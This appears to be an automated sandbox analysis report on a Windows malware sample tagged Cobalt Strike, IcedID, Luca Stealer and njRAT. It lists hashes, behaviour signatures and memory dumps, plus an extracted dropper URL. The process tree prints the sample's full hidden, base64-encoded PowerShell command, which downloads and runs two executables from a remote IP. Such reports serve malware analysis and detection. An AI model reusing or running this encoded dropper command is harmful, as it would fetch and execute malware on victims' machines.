Analysis
- max time kernel
150s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
01/08/2026, 02:42
General
- Target 2026-08-01_bfca449fc6fa173db931d766352cf654_cobalt-strike_icedid_luca-stealer_njrat.exe
- Size 171KB
- Sample260801-c7debawcmb
- SHA256 a3c26408baf012b81e99ce24c76cb279a4d0d14de41a7fbad5f17fc8e95336fe
Malware Config
Extracted
-
ps1
-
exe.dropper
http://193.181.211.79:8672/
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-01_bfca449fc6fa173db931d766352cf654_cobalt-strike_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-01_bfca449fc6fa173db931d766352cf654_cobalt-strike_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAGUAbQBiAGwAeQBOAGEAbQBlACAAUAByAGUAZQBuAHQAYQB0AGkAbwBuAEYAcgBhAG0AZQB3AG8AcgBrAAoAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFcAaQBuAGQAbwB3AC4AVwBpAG4AZABvAHcACgAkAHcALgBXAGkAZAB0AGgAPQAyADIAMAA7ACQAdwAuAEgAZQBpAGcAaAB0AD0AMgAyADsAJAB3AC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBOAG8AbgBlACcAOwAkAHcALgBSAGUAaQB6AGUATQBvAGQAZQA9ACcATgBvAFIAZQBpAHoAZQAnAAoAJAB3AC4AVwBpAG4AZABvAHcAUwB0AGEAcgB0AHUAcABMAG8AYwBhAHQAaQBvAG4APQAnAEMAZQBuAHQAZQByAFMAYwByAGUAZQBuACcAOwAkAHcALgBTAGgAbwB3AEkAbgBUAGEAawBiAGEAcgA9ACQAZgBhAGwAZQA7ACQAdwAuAFQAbwBwAG0AbwB0AD0AJAB0AHIAdQBlAAoAJAB3AC4AQQBsAGwAbwB3AFQAcgBhAG4AcABhAHIAZQBuAGMAeQA9ACQAdAByAHUAZQA7ACQAdwAuAEIAYQBjAGsAZwByAG8AdQBuAGQAPQAnAFQAcgBhAG4AcABhAHIAZQBuAHQAJwAKACQAYwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABXAGkAbgBkAG8AdwAuAEMAbwBuAHQAcgBvAGwALgBDAGEAbgB2AGEACgAkAGMALgBXAGkAZAB0AGgAPQAyADIAMAA7ACQAYwAuAEgAZQBpAGcAaAB0AD0AMgAyAAoAJABnAD0AWwBXAGkAbgBkAG8AdwAuAE0AZQBkAGkAYQAuAEMAbwBsAG8AcgBdADoAOgBGAHIAbwBtAEEAcgBnAGIAKAAyADUANQAsADIAMgA1ACwAMgAyADUALAAyADIANQApAAoAJABiAD0AWwBXAGkAbgBkAG8AdwAuAE0AZQBkAGkAYQAuAEMAbwBsAG8AcgBdADoAOgBGAHIAbwBtAEEAcgBnAGIAKAAyADUANQAsADcANgAsADEANwA0ACwANwA2ACkACgAkAHAAPQBbAFcAaQBuAGQAbwB3AC4ATQBlAGQAaQBhAC4AQwBvAGwAbwByAF0AOgA6AEYAcgBvAG0AQQByAGcAYgAoADIANQA1ACwAMQA1ADMALAAxADUAMwAsADEANQAzACkACgAkAGMALgBCAGEAYwBrAGcAcgBvAHUAbgBkAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVwBpAG4AZABvAHcALgBNAGUAZABpAGEALgBTAG8AbABpAGQAQwBvAGwAbwByAEIAcgB1AGgAKAAkAGcAKQApAAoAJABiAGEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVwBpAG4AZABvAHcALgBTAGgAYQBwAGUALgBSAGUAYwB0AGEAbgBnAGwAZQAKACQAYgBhAC4AVwBpAGQAdABoAD0AMgAxADYAOwAkAGIAYQAuAEgAZQBpAGcAaAB0AD0AMQA4AAoAJABiAGEALgBGAGkAbABsAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVwBpAG4AZABvAHcALgBNAGUAZABpAGEALgBTAG8AbABpAGQAQwBvAGwAbwByAEIAcgB1AGgAKAAkAGIAKQApAAoAJABiAGEALgBNAGEAcgBnAGkAbgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABXAGkAbgBkAG8AdwAuAFQAaABpAGMAawBuAGUAKAAyACwAMgAsADAALAAwACkACgAkAHQAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVwBpAG4AZABvAHcALgBNAGUAZABpAGEALgBTAGMAYQBsAGUAVAByAGEAbgBmAG8AcgBtACgAMAAuADAAMQAsADEAKQAKACQAYgBhAC4AUgBlAG4AZABlAHIAVAByAGEAbgBmAG8AcgBtAD0AJAB0ADsAJABjAC4AQwBoAGkAbABkAHIAZQBuAC4AQQBkAGQAKAAkAGIAYQApAAoAJABiAG8APQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVwBpAG4AZABvAHcALgBTAGgAYQBwAGUALgBSAGUAYwB0AGEAbgBnAGwAZQAKACQAYgBvAC4AVwBpAGQAdABoAD0AMgAxADYAOwAkAGIAbwAuAEgAZQBpAGcAaAB0AD0AMQA4ADsAJABiAG8ALgBTAHQAcgBvAGsAZQA9ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFcAaQBuAGQAbwB3AC4ATQBlAGQAaQBhAC4AUwBvAGwAaQBkAEMAbwBsAG8AcgBCAHIAdQBoACgAJABwACkAKQAKACQAYgBvAC4AUwB0AHIAbwBrAGUAVABoAGkAYwBrAG4AZQA9ADEAOwAkAGIAbwAuAEYAaQBsAGwAPQAnAFQAcgBhAG4AcABhAHIAZQBuAHQAJwAKACQAYgBvAC4ATQBhAHIAZwBpAG4APQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVwBpAG4AZABvAHcALgBUAGgAaQBjAGsAbgBlACgAMgAsADIALAAwACwAMAApADsAJABjAC4AQwBoAGkAbABkAHIAZQBuAC4AQQBkAGQAKAAkAGIAbwApAAoAJAB3AC4AQwBvAG4AdABlAG4AdAA9ACQAYwA7ACQAdwAuAFMAaABvAHcAKAApAAoAZgBvAHIAKAAkAGkAPQAxADsAJABpAC0AbABlADEANQAwADsAJABpACsAPQAxACkAewAKACQAdAAuAFMAYwBhAGwAZQBYAD0AWwBkAG8AdQBiAGwAZQBdACgAJABpAC8AMQA1ADAAKQAKACQAZgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABXAGkAbgBkAG8AdwAuAFQAaAByAGUAYQBkAGkAbgBnAC4ARABpAHAAYQB0AGMAaABlAHIARgByAGEAbQBlAAoAJAB0AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFcAaQBuAGQAbwB3AC4AVABoAHIAZQBhAGQAaQBuAGcALgBEAGkAcABhAHQAYwBoAGUAcgBUAGkAbQBlAHIACgAkAHQALgBJAG4AdABlAHIAdgBhAGwAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAVABpAG0AZQBwAGEAbgAoADAALAAwACwAMAAsADAALAAxADAAMAApAAoAJAB0AC4AQQBkAGQAXwBUAGkAYwBrACgAewAkAGYALgBDAG8AbgB0AGkAbgB1AGUAPQAkAGYAYQBsAGUAfQApAAoAJAB0AC4AUwB0AGEAcgB0ACgAKQAKAFsAVwBpAG4AZABvAHcALgBUAGgAcgBlAGEAZABpAG4AZwAuAEQAaQBwAGEAdABjAGgAZQByAF0AOgA6AFAAdQBoAEYAcgBhAG0AZQAoACQAZgApAAoAJAB0AC4AUwB0AG8AcAAoACkACgB9AAoAJAB3AC4AQwBsAG8AZQAoACkACgAkAHcAYwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AAoAJABhAD0AJwBoAHQAdABwADoALwAvADEAOQAzAC4AMQA4ADEALgAyADEAMQAuADcAOQA6ADgANgA3ADIALwAnAAoAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYQArACcAZgBvAG4AdABkAHIAdgBoAG8AdAAuAGUAeABlACcALAAkAGUAbgB2ADoAVABFAE0AUAArACcAXABmAG8AbgB0AGQAcgB2AGgAbwB0AC4AZQB4AGUAJwApAAoAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYQArACcAZABsAGwAaABvAHQALgBlAHgAZQAnACwAJABlAG4AdgA6AFQARQBNAFAAKwAnAFwAZABsAGwAaABvAHQALgBlAHgAZQAnACkACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAIAAkAGUAbgB2ADoAVABFAE0AUAAnAFwAZgBvAG4AdABkAHIAdgBoAG8AdAAuAGUAeABlACcACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAIAAkAGUAbgB2ADoAVABFAE0AUAAnAFwAZABsAGwAaABvAHQALgBlAHgAZQAnAA0ACgA=2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2884-0-0x00007FFE66FBF000-0x00007FFE66FC0000-memory.dmp
memory/2884-1-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-2-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-6-0x000001EBE5F20000-0x000001EBE5F42000-memory.dmp
memory/2884-3-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-8-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-9-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-10-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-11-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-12-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-13-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-14-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-15-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-16-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-17-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-18-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-20-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-21-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-22-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-23-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-24-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-25-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-26-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-27-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-28-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp
memory/2884-31-0x000001EBE6020000-0x000001EBE603E000-memory.dmp
memory/2884-32-0x000001EBE6630000-0x000001EBE66E2000-memory.dmp
memory/2884-33-0x000001EBE6040000-0x000001EBE604A000-memory.dmp
memory/2884-34-0x000001EBE6070000-0x000001EBE608E000-memory.dmp
memory/2884-35-0x000001EBE6050000-0x000001EBE605A000-memory.dmp
memory/2884-36-0x000001EBE60B0000-0x000001EBE60CC000-memory.dmp
memory/2884-37-0x000001EBE6060000-0x000001EBE6068000-memory.dmp
memory/2884-38-0x000001EBE6090000-0x000001EBE6096000-memory.dmp
memory/2884-39-0x000001EBE60A0000-0x000001EBE60AA000-memory.dmp
memory/2884-41-0x00007FFE66E30000-0x00007FFE677D4000-memory.dmp